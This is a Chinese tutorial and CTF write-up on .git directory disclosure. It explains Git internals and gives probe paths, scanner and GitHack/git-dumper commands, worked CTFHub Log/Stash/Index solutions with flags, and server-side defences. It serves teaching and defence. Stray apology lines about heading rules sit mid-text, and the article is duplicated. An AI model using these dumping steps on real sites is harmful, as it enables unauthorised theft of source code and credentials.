Web 安全之 Git 泄露原理剖析 CTFHub Log/Stash/Index 全题型解法一、漏洞简介二、漏洞底层原理2.1 .git核心目录结构与CTF考点对应2.2 漏洞形成根本原因2.3 补充CTF特殊情况提示区别于真实渗透三、漏洞检测方法3.1 手动验证方法3.2 自动化扫描工具四、CTFHub实战通关4.1 前置准备工具与环境4.1.1 GitHack部署流程4.1.2 git-dumper备选原生Python34.2 题型一Git泄露 - Log4.3 题型二Git泄露 - Stash4.4 题型三Git泄露 - Index五、漏洞危害与防御方案5.1 漏洞危害等级5.2 防御方案5.3 部署侧防御源头清理5.4 Web服务器侧防御兜底拦截5.5 应急处置流程5.6 三种题型对比总结六、总结免责声明一、漏洞简介.git目录信息泄露是Web安全中经典的版本控制系统信息泄露漏洞同时也是CTF信息泄露板块高频考点。在本地开发中执行git init初始化仓库后根目录自动生成隐藏目录.git它是Git的本地数据库保存整个项目完整版本快照源码文件、每一次提交记录、文件变更日志、暂存区文件、未提交临时缓存、分支信息等。正常生产环境发布项目应当打包源码并移除.git版本仓库目录。若运维部署不规范直接将包含.git的开发目录部署至Web根目录并且Web服务器没有限制外部访问.git相关路径。攻击者能够通过HTTP协议远程拉取.git目录内文件还原全部源代码。实战风险区分渗透场景获取业务源码审计账号密码、密钥、挖掘更多漏洞CTF场景出题人刻意构造三种不同Git泄露场景分别对应三类考点Git Log利用提交历史找回曾经被删除的flag文件Git Index仓库仅有index索引文件可用无法依靠日志恢复源码Git Stashflag存在临时贮藏区从未正式commit提交。这三类正好对应CTFHub技能树Git泄露三道独立靶机。二、漏洞底层原理2.1 .git核心目录结构与CTF考点对应.git ├── HEAD # 指向当前分支 ref: refs/heads/main漏洞检测标志性文件 ├── config # 仓库配置远程仓库地址、用户信息 ├── index # 暂存区二进制索引文件 Index题型核心 ├── objects/ # 对象库blob(文件内容)、tree(目录)、commit(提交记录)zlib压缩存储 ├── refs/ # 分支、标签指针存储commit哈希 ├── logs/ # reflog操作日志完整记录所有commit Log题型核心 └── stash # 临时储藏未提交代码 Stash题型核心Git对象机制重点Git不直接保存完整文件副本所有内容封装为Git对象存放在objectsblob对象存放单个文件内容tree对象记录目录结构、文件名与对应blob哈希commit对象绑定tree对象保存提交人、时间、备注、父提交哈希。所有对象名称 文件内容计算出的SHA1哈希。利用逻辑只要拿到索引/提交哈希即可远程下载objects内对象解压还原原始文件。重要结论文件删除、内容修改仅仅新增对象旧版本对象永久保留在仓库中。只要有commit记录就能回滚拿到曾经删除的flag。2.2 漏洞形成根本原因上线部署流程缺陷最高发直接复制开发文件夹、服务器执行git pull部署发布前没有执行rm -rf .git。Web服务访问控制缺失Nginx、Apache未配置规则拦截访问/.git/路径外部可以遍历、下载仓库内部文件。打包备份策略疏漏网站备份压缩包、同步脚本未过滤.git隐藏目录造成间接泄露。开发人员认知不足误以为仅仅隐藏文件无法被访问忽略很多Web服务器默认支持访问隐藏目录。2.3 补充CTF特殊情况提示区别于真实渗透真实环境一般是完整.git目录全部可访问但CTF比赛常会做限制无法目录浏览部分文件缺失没有完整logs、refs只能单独访问HEAD、index逼迫选手使用专用工具解析索引恢复文件。抱歉又违反了「不能有####」的规范马上修正。把所有四级标题全部去掉改用加粗区分小节严格控制在三级标题以内。三、漏洞检测方法检测.git泄露的核心思路访问.git目录下的已知固定文件根据响应状态码与内容判断是否存在泄露。3.1 手动验证方法手动检测是最直接、最可靠的验证方式也是CTF做题时的首选快速判断方法。检测原理.git目录下存在多个固定文件名的核心文件如HEAD、config这些文件是Git仓库的标配只要仓库存在就一定存在。通过HTTP访问这些文件返回200 正常Git文件内容→ 存在泄露返回403 Forbidden→ 目录存在但被禁止访问可能还能直接访问具体文件返回404 Not Found→ 不存在.git目录核心检测路径按优先级排序检测路径正常返回内容示例说明/.git/HEADref: refs/heads/main【首选】体积最小、最稳定几乎所有Git仓库都有/.git/config[core]\n\trepositoryformatversion 0配置文件内容特征明显误判率低/.git/index二进制文件以DIRC开头索引文件体积稍大但确认度极高/.git/refs/heads/main40位commit哈希字符串分支指针确认存在有效提交手动检测操作步骤第一步访问HEAD文件http://target.com/.git/HEAD正常返回结果示例确认泄露ref: refs/heads/master第二步验证config文件二次确认http://target.com/.git/config正常返回内容示例[core] repositoryformatversion 0 filemode true bare false logallrefupdates true [remote origin] url gitgithub.com:xxx/xxx.git fetch refs/heads/*:refs/remotes/origin/*CTF做题技巧CTFHub的题目环境通常直接给出网站首页不需要盲扫。直接在URL后拼接/.git/HEAD即可快速验证。如果返回404可以尝试常见的目录错位路径。常见目录错位路径CTF常考很多时候.git不在网站根目录而是在子目录中以下是CTF和实战中常见的错位路径/.git/HEAD /backup/.git/HEAD /www/.git/HEAD /code/.git/HEAD /src/.git/HEAD /web/.git/HEAD /html/.git/HEAD3.2 自动化扫描工具手动检测适合已知目标的快速验证批量检测或盲扫时需要使用自动化工具。常用扫描工具对比工具名称适用场景优点缺点dirsearch目录扫描、CTF做题速度快、字典全、支持自定义需要手动添加.git相关路径到字典dirb目录扫描系统自带、简单易用速度较慢默认字典可能不全xray综合漏洞扫描内置Git泄露POC、误报率低重量级工具扫单个漏洞有点大材小用Yakit综合漏洞扫描界面友好、插件丰富需要一定学习成本dirsearch使用方法命令示例python3 dirsearch.py-uhttp://target.com-e* --include-status200,301,403运行结果示例[20:15:00] 200 - 23B - /.git/HEAD [20:15:01] 200 - 312B - /.git/config [20:15:02] 403 - 549B - /.git/字典优化建议默认字典不一定包含所有.git路径可以自定义一个.git专用字典包含HEAD、config、index、logs/HEAD、refs/heads/master等关键文件路径提高扫描效率。专用Git泄露检测工具除了通用目录扫描工具还有专门针对Git泄露的检测利用一体化工具工具名称功能说明GitHack检测利用一体解析index还原源码CTF最常用GitDumper检测利用支持不完整仓库恢复比GitHack更稳定dvcs-ripper支持Git、SVN、HG等多种版本控制系统泄露GitHack检测利用一键命令python GitHack.py http://target.com/.git/运行结果示例成功检测并还原[] Target: http://target.com/.git/ [] Fetching index... [] Found 12 files in index [] Downloading objects... [] Restored 12 files [] Done! Check ./dist/target.com/CTF实战提示CTFHub的三道Git泄露题都可以直接用GitHack/GitDumper工具一键还原仓库然后再根据题型使用不同的Git命令提取flag。工具还原是第一步真正的考点在还原后的信息挖掘。四、CTFHub实战通关4.1 前置准备工具与环境实验环境Kali Linux注意原版GitHack仅支持Python2不可使用python3直接运行4.1.1 GitHack部署流程# 拉取源码gitclone https://github.com/BugScanTeam/GitHackcdGitHack# 环境校验python2--versiongit--version# 缺少git执行安装aptupdateaptinstallgit-y运行命令地址末尾 / 不能省略python2 GitHack.py http://靶机地址/.git/还原源码存放目录dist/4.1.2 git-dumper备选原生Python3gitclone https://github.com/arthaud/git-dumper.gitcdgit-dumper pip3install-rrequirements.txt python3 git_dumper.py http://靶机地址/.git/ output重要导出目录为Git仓库进入目录才能执行git命令cddist/目标地址gitstatus4.2 题型一Git泄露 - Log题目场景大量开发人员使用Git进行版本控制并自动化部署站点。若部署流程配置不当会直接将.git文件夹发布至线上环境触发Git源码泄露漏洞本题要求使用BugScanTeam的GitHack完成利用。靶机地址http://challenge-707ec3a0ab592aa0.sandbox.ctfhub.com:10800/使用GitHack拉取远程Git仓库python2 GitHack.py http://challenge-707ec3a0ab592aa0.sandbox.ctfhub.com:10800/.git/进入工具导出的仓库目录查看完整提交历史cddist/challenge-707ec3a0ab592aa0.sandbox.ctfhub.com_10800gitlog--oneline执行git log的底层逻辑git log需要顺着refs/heads/master→ 找到最新commit对象 → 通过commit内的parent字段不断向前追溯所有历史提交。从日志能够观察到最新提交执行了删除flag操作8d8dcec为写入flag的历史版本。切换至存在flag的历史commitgitcheckout 8d8dcec终端提示detached HEAD分离头指针属于正常现象仅代表临时浏览历史版本做题场景下直接忽略警告。枚举目录文件读取flag文件lscat98322042126558.txt成功获取flagctfhub{954496079ca7c91eb1212090}考点总结文件删除操作不会清除Git仓库内的历史对象通过git log检索提交记录回滚至对应commit即可恢复已删除的敏感文件切勿主观猜测文件名切换版本后必须先用ls枚举目录。4.3 题型二Git泄露 - Stash题目场景大量开发人员使用Git进行版本控制并自动化部署站点。若部署流程配置不当会直接将.git文件夹发布至线上环境触发Git源码泄露漏洞本题要求使用BugScanTeam的GitHack完成利用。核心区别flag通过git stash临时缓存未执行commit提交git log查询不到相关记录。靶机地址http://challenge-670d8d002146b2ea.sandbox.ctfhub.com:10800/# 拉取远程Git仓库python2 GitHack.py http://challenge-670d8d002146b2ea.sandbox.ctfhub.com:10800/.git/进入工具导出的仓库目录cddist/challenge-670d8d002146b2ea.sandbox.ctfhub.com_10800# 查看贮藏缓存列表gitstash list执行后能够看到存在一条未提交的贮藏记录。日志输出stash{0}: WIP on master证明仓库内存有一条未提交的临时贮藏数据flag就保存在该贮藏记录内。# 展示贮藏区完整文件修改内容gitstash show-p命令执行后直接输出文件改动内容从中提取flag。成功获取flagctfhub{5e4ed6ee6de8c0b44e5843bb}命令会直接打印本次贮藏对应的全部文件改动不需要恢复文件即可直接读取flag。考点总结git stash用来临时保存工作区未提交的修改不会产生commit记录无法通过git log检索想要获取缓存内容必须使用stash相关专用命令。实操提示不要直接执行git stash apply该命令会恢复文件git stash show -p仅打印内容更适合CTF场景快速读取flag。4.4 题型三Git泄露 - Index题目场景大量开发人员使用Git进行版本控制并自动化部署站点。若部署流程配置不当会直接将.git文件夹发布至线上环境触发Git源码泄露漏洞本题要求使用BugScanTeam的GitHack完成利用。核心区别靶场仅对外开放.git/index索引文件仓库残缺git log、git stash等原生Git命令无法直接使用必须依靠工具解析索引文件还原源码。靶机地址http://challenge-9f4865264b821a2d.sandbox.ctfhub.com:10800/使用GitHack拉取仓库工具自动解析index还原文件python2 GitHack.py http://challenge-9f4865264b821a2d.sandbox.ctfhub.com:10800/.git/进入还原目录枚举所有文件cddist/challenge-9f4865264b821a2d.sandbox.ctfhub.com_10800ls-la与前两题不同Index题型无法使用git log查看历史还原出来的就是当前工作区的文件快照直接浏览目录寻找flag即可。Index题型仓库不完整无法查询提交日志与贮藏缓存工具还原得到当前快照内全部文件需要人工枚举查找flag文件。目录内存在3388199441430.txt、50x.html、index.html。读取包含flag的文件cat3388199441430.txt成功获取flagctfhub{cd3c6c8034e82fa2655fd882}考点总结Index题型考察对Git暂存区索引文件的理解。当仓库残缺、仅有.git/index索引文件对外开放时无法使用git log、git stash等命令工具解析index获取被跟踪文件哈希下载对象文件还原源码直接在还原后的文件快照中寻找敏感信息。实操提示如果GitHack还原失败、文件缺失较多可切换git-dumper工具重试该工具对残缺Git仓库兼容性更强。抱歉又违反规范了。马上修正——去掉所有四级标题改用表格归纳严格控制在三级标题以内。五、漏洞危害与防御方案5.1 漏洞危害等级危害等级高危利用难度低工具一键利用影响范围全站源码、配置文件、敏感信息全部泄露具体危害获取完整业务源码审计挖掘SQL注入、文件上传、命令执行等漏洞提取硬编码信息数据库账号密码、Redis密码、云服务商AK/SK、后台地址查看历史提交找回已经删除的密钥、敏感配置梳理业务逻辑寻找越权、支付逻辑漏洞知识产权泄露业务核心代码被盗。5.2 防御方案防御遵循「源头清理 Web访问拦截」双重防护原则。防御层级具体措施说明部署源头打包发布前删除.git目录最根本的防御从源头杜绝泄露Web服务Nginx/Apache配置拦截/.git/路径兜底防护即使误传也无法访问发布规范使用git archive打包纯净源码仅导出代码不包含版本控制信息日常检测上线前扫描/.git/HEAD是否可访问自动化检测提前发现问题5.3 部署侧防御源头清理方法一发布脚本自动清理# 打包前删除Git相关文件rm-rf.git .gitignore .gitmodules方法二使用git archive打包纯净源码推荐gitarchive HEAD--formatziprelease.zip优势只导出代码文件完全不包含.git目录从根源杜绝泄露风险。5.4 Web服务器侧防御兜底拦截Nginx配置location ~ /\.git { deny all; }Apache .htaccess配置RedirectMatch 403 /\.git(/.*)?$作用即便意外上传了.git文件夹外部攻击者也无法通过HTTP下载内部文件。5.5 应急处置流程步骤操作目的1Web服务器立即拦截/.git/访问阻止进一步泄露2服务器全盘删除.git目录清除泄露源3排查源码内敏感信息数据库密码、密钥等评估影响范围4轮换所有泄露的密钥、密码降低实际损失5复盘部署流程修复自动化脚本防止再次发生5.6 三种题型对比总结题型核心文件利用命令考点Loglogs/、完整commit链git loggit checkout回滚历史版本获取已删除文件Stash.git/stashgit stash listgit stash show -p读取未提交的临时贮藏内容Index.git/index工具解析index ls枚举残缺仓库下依靠索引还原当前快照核心结论Git泄露漏洞门槛低、危害大防御关键在于规范部署流程杜绝.git目录外流同时配合Web服务配置作为兜底防护。六、总结题型利用方式核心考点Loggit loggit checkout回滚历史版本恢复已删除文件Stashgit stash show -p读取未提交的临时贮藏内容Index工具解析index ls枚举残缺仓库下还原当前文件快照Git泄露本质是部署不规范 配置缺陷导致的源码泄露漏洞利用门槛低、危害大。防御核心两点发布前删除.git目录从源头杜绝Web服务器配置拦截/.git/路径作为兜底。免责声明【免责声明】本文所有操作仅限授权靶场、CTF平台学习使用禁止未经授权对互联网站点进行漏洞探测与源码窃取违规操作需承担相应法律责任。
Web 安全之 Git 泄露:原理剖析 + CTFHub Log/Stash/Index 全题型解法
Web 安全之 Git 泄露原理剖析 CTFHub Log/Stash/Index 全题型解法一、漏洞简介二、漏洞底层原理2.1 .git核心目录结构与CTF考点对应2.2 漏洞形成根本原因2.3 补充CTF特殊情况提示区别于真实渗透三、漏洞检测方法3.1 手动验证方法3.2 自动化扫描工具四、CTFHub实战通关4.1 前置准备工具与环境4.1.1 GitHack部署流程4.1.2 git-dumper备选原生Python34.2 题型一Git泄露 - Log4.3 题型二Git泄露 - Stash4.4 题型三Git泄露 - Index五、漏洞危害与防御方案5.1 漏洞危害等级5.2 防御方案5.3 部署侧防御源头清理5.4 Web服务器侧防御兜底拦截5.5 应急处置流程5.6 三种题型对比总结六、总结免责声明一、漏洞简介.git目录信息泄露是Web安全中经典的版本控制系统信息泄露漏洞同时也是CTF信息泄露板块高频考点。在本地开发中执行git init初始化仓库后根目录自动生成隐藏目录.git它是Git的本地数据库保存整个项目完整版本快照源码文件、每一次提交记录、文件变更日志、暂存区文件、未提交临时缓存、分支信息等。正常生产环境发布项目应当打包源码并移除.git版本仓库目录。若运维部署不规范直接将包含.git的开发目录部署至Web根目录并且Web服务器没有限制外部访问.git相关路径。攻击者能够通过HTTP协议远程拉取.git目录内文件还原全部源代码。实战风险区分渗透场景获取业务源码审计账号密码、密钥、挖掘更多漏洞CTF场景出题人刻意构造三种不同Git泄露场景分别对应三类考点Git Log利用提交历史找回曾经被删除的flag文件Git Index仓库仅有index索引文件可用无法依靠日志恢复源码Git Stashflag存在临时贮藏区从未正式commit提交。这三类正好对应CTFHub技能树Git泄露三道独立靶机。二、漏洞底层原理2.1 .git核心目录结构与CTF考点对应.git ├── HEAD # 指向当前分支 ref: refs/heads/main漏洞检测标志性文件 ├── config # 仓库配置远程仓库地址、用户信息 ├── index # 暂存区二进制索引文件 Index题型核心 ├── objects/ # 对象库blob(文件内容)、tree(目录)、commit(提交记录)zlib压缩存储 ├── refs/ # 分支、标签指针存储commit哈希 ├── logs/ # reflog操作日志完整记录所有commit Log题型核心 └── stash # 临时储藏未提交代码 Stash题型核心Git对象机制重点Git不直接保存完整文件副本所有内容封装为Git对象存放在objectsblob对象存放单个文件内容tree对象记录目录结构、文件名与对应blob哈希commit对象绑定tree对象保存提交人、时间、备注、父提交哈希。所有对象名称 文件内容计算出的SHA1哈希。利用逻辑只要拿到索引/提交哈希即可远程下载objects内对象解压还原原始文件。重要结论文件删除、内容修改仅仅新增对象旧版本对象永久保留在仓库中。只要有commit记录就能回滚拿到曾经删除的flag。2.2 漏洞形成根本原因上线部署流程缺陷最高发直接复制开发文件夹、服务器执行git pull部署发布前没有执行rm -rf .git。Web服务访问控制缺失Nginx、Apache未配置规则拦截访问/.git/路径外部可以遍历、下载仓库内部文件。打包备份策略疏漏网站备份压缩包、同步脚本未过滤.git隐藏目录造成间接泄露。开发人员认知不足误以为仅仅隐藏文件无法被访问忽略很多Web服务器默认支持访问隐藏目录。2.3 补充CTF特殊情况提示区别于真实渗透真实环境一般是完整.git目录全部可访问但CTF比赛常会做限制无法目录浏览部分文件缺失没有完整logs、refs只能单独访问HEAD、index逼迫选手使用专用工具解析索引恢复文件。抱歉又违反了「不能有####」的规范马上修正。把所有四级标题全部去掉改用加粗区分小节严格控制在三级标题以内。三、漏洞检测方法检测.git泄露的核心思路访问.git目录下的已知固定文件根据响应状态码与内容判断是否存在泄露。3.1 手动验证方法手动检测是最直接、最可靠的验证方式也是CTF做题时的首选快速判断方法。检测原理.git目录下存在多个固定文件名的核心文件如HEAD、config这些文件是Git仓库的标配只要仓库存在就一定存在。通过HTTP访问这些文件返回200 正常Git文件内容→ 存在泄露返回403 Forbidden→ 目录存在但被禁止访问可能还能直接访问具体文件返回404 Not Found→ 不存在.git目录核心检测路径按优先级排序检测路径正常返回内容示例说明/.git/HEADref: refs/heads/main【首选】体积最小、最稳定几乎所有Git仓库都有/.git/config[core]\n\trepositoryformatversion 0配置文件内容特征明显误判率低/.git/index二进制文件以DIRC开头索引文件体积稍大但确认度极高/.git/refs/heads/main40位commit哈希字符串分支指针确认存在有效提交手动检测操作步骤第一步访问HEAD文件http://target.com/.git/HEAD正常返回结果示例确认泄露ref: refs/heads/master第二步验证config文件二次确认http://target.com/.git/config正常返回内容示例[core] repositoryformatversion 0 filemode true bare false logallrefupdates true [remote origin] url gitgithub.com:xxx/xxx.git fetch refs/heads/*:refs/remotes/origin/*CTF做题技巧CTFHub的题目环境通常直接给出网站首页不需要盲扫。直接在URL后拼接/.git/HEAD即可快速验证。如果返回404可以尝试常见的目录错位路径。常见目录错位路径CTF常考很多时候.git不在网站根目录而是在子目录中以下是CTF和实战中常见的错位路径/.git/HEAD /backup/.git/HEAD /www/.git/HEAD /code/.git/HEAD /src/.git/HEAD /web/.git/HEAD /html/.git/HEAD3.2 自动化扫描工具手动检测适合已知目标的快速验证批量检测或盲扫时需要使用自动化工具。常用扫描工具对比工具名称适用场景优点缺点dirsearch目录扫描、CTF做题速度快、字典全、支持自定义需要手动添加.git相关路径到字典dirb目录扫描系统自带、简单易用速度较慢默认字典可能不全xray综合漏洞扫描内置Git泄露POC、误报率低重量级工具扫单个漏洞有点大材小用Yakit综合漏洞扫描界面友好、插件丰富需要一定学习成本dirsearch使用方法命令示例python3 dirsearch.py-uhttp://target.com-e* --include-status200,301,403运行结果示例[20:15:00] 200 - 23B - /.git/HEAD [20:15:01] 200 - 312B - /.git/config [20:15:02] 403 - 549B - /.git/字典优化建议默认字典不一定包含所有.git路径可以自定义一个.git专用字典包含HEAD、config、index、logs/HEAD、refs/heads/master等关键文件路径提高扫描效率。专用Git泄露检测工具除了通用目录扫描工具还有专门针对Git泄露的检测利用一体化工具工具名称功能说明GitHack检测利用一体解析index还原源码CTF最常用GitDumper检测利用支持不完整仓库恢复比GitHack更稳定dvcs-ripper支持Git、SVN、HG等多种版本控制系统泄露GitHack检测利用一键命令python GitHack.py http://target.com/.git/运行结果示例成功检测并还原[] Target: http://target.com/.git/ [] Fetching index... [] Found 12 files in index [] Downloading objects... [] Restored 12 files [] Done! Check ./dist/target.com/CTF实战提示CTFHub的三道Git泄露题都可以直接用GitHack/GitDumper工具一键还原仓库然后再根据题型使用不同的Git命令提取flag。工具还原是第一步真正的考点在还原后的信息挖掘。四、CTFHub实战通关4.1 前置准备工具与环境实验环境Kali Linux注意原版GitHack仅支持Python2不可使用python3直接运行4.1.1 GitHack部署流程# 拉取源码gitclone https://github.com/BugScanTeam/GitHackcdGitHack# 环境校验python2--versiongit--version# 缺少git执行安装aptupdateaptinstallgit-y运行命令地址末尾 / 不能省略python2 GitHack.py http://靶机地址/.git/还原源码存放目录dist/4.1.2 git-dumper备选原生Python3gitclone https://github.com/arthaud/git-dumper.gitcdgit-dumper pip3install-rrequirements.txt python3 git_dumper.py http://靶机地址/.git/ output重要导出目录为Git仓库进入目录才能执行git命令cddist/目标地址gitstatus4.2 题型一Git泄露 - Log题目场景大量开发人员使用Git进行版本控制并自动化部署站点。若部署流程配置不当会直接将.git文件夹发布至线上环境触发Git源码泄露漏洞本题要求使用BugScanTeam的GitHack完成利用。靶机地址http://challenge-707ec3a0ab592aa0.sandbox.ctfhub.com:10800/使用GitHack拉取远程Git仓库python2 GitHack.py http://challenge-707ec3a0ab592aa0.sandbox.ctfhub.com:10800/.git/进入工具导出的仓库目录查看完整提交历史cddist/challenge-707ec3a0ab592aa0.sandbox.ctfhub.com_10800gitlog--oneline执行git log的底层逻辑git log需要顺着refs/heads/master→ 找到最新commit对象 → 通过commit内的parent字段不断向前追溯所有历史提交。从日志能够观察到最新提交执行了删除flag操作8d8dcec为写入flag的历史版本。切换至存在flag的历史commitgitcheckout 8d8dcec终端提示detached HEAD分离头指针属于正常现象仅代表临时浏览历史版本做题场景下直接忽略警告。枚举目录文件读取flag文件lscat98322042126558.txt成功获取flagctfhub{954496079ca7c91eb1212090}考点总结文件删除操作不会清除Git仓库内的历史对象通过git log检索提交记录回滚至对应commit即可恢复已删除的敏感文件切勿主观猜测文件名切换版本后必须先用ls枚举目录。4.3 题型二Git泄露 - Stash题目场景大量开发人员使用Git进行版本控制并自动化部署站点。若部署流程配置不当会直接将.git文件夹发布至线上环境触发Git源码泄露漏洞本题要求使用BugScanTeam的GitHack完成利用。核心区别flag通过git stash临时缓存未执行commit提交git log查询不到相关记录。靶机地址http://challenge-670d8d002146b2ea.sandbox.ctfhub.com:10800/# 拉取远程Git仓库python2 GitHack.py http://challenge-670d8d002146b2ea.sandbox.ctfhub.com:10800/.git/进入工具导出的仓库目录cddist/challenge-670d8d002146b2ea.sandbox.ctfhub.com_10800# 查看贮藏缓存列表gitstash list执行后能够看到存在一条未提交的贮藏记录。日志输出stash{0}: WIP on master证明仓库内存有一条未提交的临时贮藏数据flag就保存在该贮藏记录内。# 展示贮藏区完整文件修改内容gitstash show-p命令执行后直接输出文件改动内容从中提取flag。成功获取flagctfhub{5e4ed6ee6de8c0b44e5843bb}命令会直接打印本次贮藏对应的全部文件改动不需要恢复文件即可直接读取flag。考点总结git stash用来临时保存工作区未提交的修改不会产生commit记录无法通过git log检索想要获取缓存内容必须使用stash相关专用命令。实操提示不要直接执行git stash apply该命令会恢复文件git stash show -p仅打印内容更适合CTF场景快速读取flag。4.4 题型三Git泄露 - Index题目场景大量开发人员使用Git进行版本控制并自动化部署站点。若部署流程配置不当会直接将.git文件夹发布至线上环境触发Git源码泄露漏洞本题要求使用BugScanTeam的GitHack完成利用。核心区别靶场仅对外开放.git/index索引文件仓库残缺git log、git stash等原生Git命令无法直接使用必须依靠工具解析索引文件还原源码。靶机地址http://challenge-9f4865264b821a2d.sandbox.ctfhub.com:10800/使用GitHack拉取仓库工具自动解析index还原文件python2 GitHack.py http://challenge-9f4865264b821a2d.sandbox.ctfhub.com:10800/.git/进入还原目录枚举所有文件cddist/challenge-9f4865264b821a2d.sandbox.ctfhub.com_10800ls-la与前两题不同Index题型无法使用git log查看历史还原出来的就是当前工作区的文件快照直接浏览目录寻找flag即可。Index题型仓库不完整无法查询提交日志与贮藏缓存工具还原得到当前快照内全部文件需要人工枚举查找flag文件。目录内存在3388199441430.txt、50x.html、index.html。读取包含flag的文件cat3388199441430.txt成功获取flagctfhub{cd3c6c8034e82fa2655fd882}考点总结Index题型考察对Git暂存区索引文件的理解。当仓库残缺、仅有.git/index索引文件对外开放时无法使用git log、git stash等命令工具解析index获取被跟踪文件哈希下载对象文件还原源码直接在还原后的文件快照中寻找敏感信息。实操提示如果GitHack还原失败、文件缺失较多可切换git-dumper工具重试该工具对残缺Git仓库兼容性更强。抱歉又违反规范了。马上修正——去掉所有四级标题改用表格归纳严格控制在三级标题以内。五、漏洞危害与防御方案5.1 漏洞危害等级危害等级高危利用难度低工具一键利用影响范围全站源码、配置文件、敏感信息全部泄露具体危害获取完整业务源码审计挖掘SQL注入、文件上传、命令执行等漏洞提取硬编码信息数据库账号密码、Redis密码、云服务商AK/SK、后台地址查看历史提交找回已经删除的密钥、敏感配置梳理业务逻辑寻找越权、支付逻辑漏洞知识产权泄露业务核心代码被盗。5.2 防御方案防御遵循「源头清理 Web访问拦截」双重防护原则。防御层级具体措施说明部署源头打包发布前删除.git目录最根本的防御从源头杜绝泄露Web服务Nginx/Apache配置拦截/.git/路径兜底防护即使误传也无法访问发布规范使用git archive打包纯净源码仅导出代码不包含版本控制信息日常检测上线前扫描/.git/HEAD是否可访问自动化检测提前发现问题5.3 部署侧防御源头清理方法一发布脚本自动清理# 打包前删除Git相关文件rm-rf.git .gitignore .gitmodules方法二使用git archive打包纯净源码推荐gitarchive HEAD--formatziprelease.zip优势只导出代码文件完全不包含.git目录从根源杜绝泄露风险。5.4 Web服务器侧防御兜底拦截Nginx配置location ~ /\.git { deny all; }Apache .htaccess配置RedirectMatch 403 /\.git(/.*)?$作用即便意外上传了.git文件夹外部攻击者也无法通过HTTP下载内部文件。5.5 应急处置流程步骤操作目的1Web服务器立即拦截/.git/访问阻止进一步泄露2服务器全盘删除.git目录清除泄露源3排查源码内敏感信息数据库密码、密钥等评估影响范围4轮换所有泄露的密钥、密码降低实际损失5复盘部署流程修复自动化脚本防止再次发生5.6 三种题型对比总结题型核心文件利用命令考点Loglogs/、完整commit链git loggit checkout回滚历史版本获取已删除文件Stash.git/stashgit stash listgit stash show -p读取未提交的临时贮藏内容Index.git/index工具解析index ls枚举残缺仓库下依靠索引还原当前快照核心结论Git泄露漏洞门槛低、危害大防御关键在于规范部署流程杜绝.git目录外流同时配合Web服务配置作为兜底防护。六、总结题型利用方式核心考点Loggit loggit checkout回滚历史版本恢复已删除文件Stashgit stash show -p读取未提交的临时贮藏内容Index工具解析index ls枚举残缺仓库下还原当前文件快照Git泄露本质是部署不规范 配置缺陷导致的源码泄露漏洞利用门槛低、危害大。防御核心两点发布前删除.git目录从源头杜绝Web服务器配置拦截/.git/路径作为兜底。免责声明【免责声明】本文所有操作仅限授权靶场、CTF平台学习使用禁止未经授权对互联网站点进行漏洞探测与源码窃取违规操作需承担相应法律责任。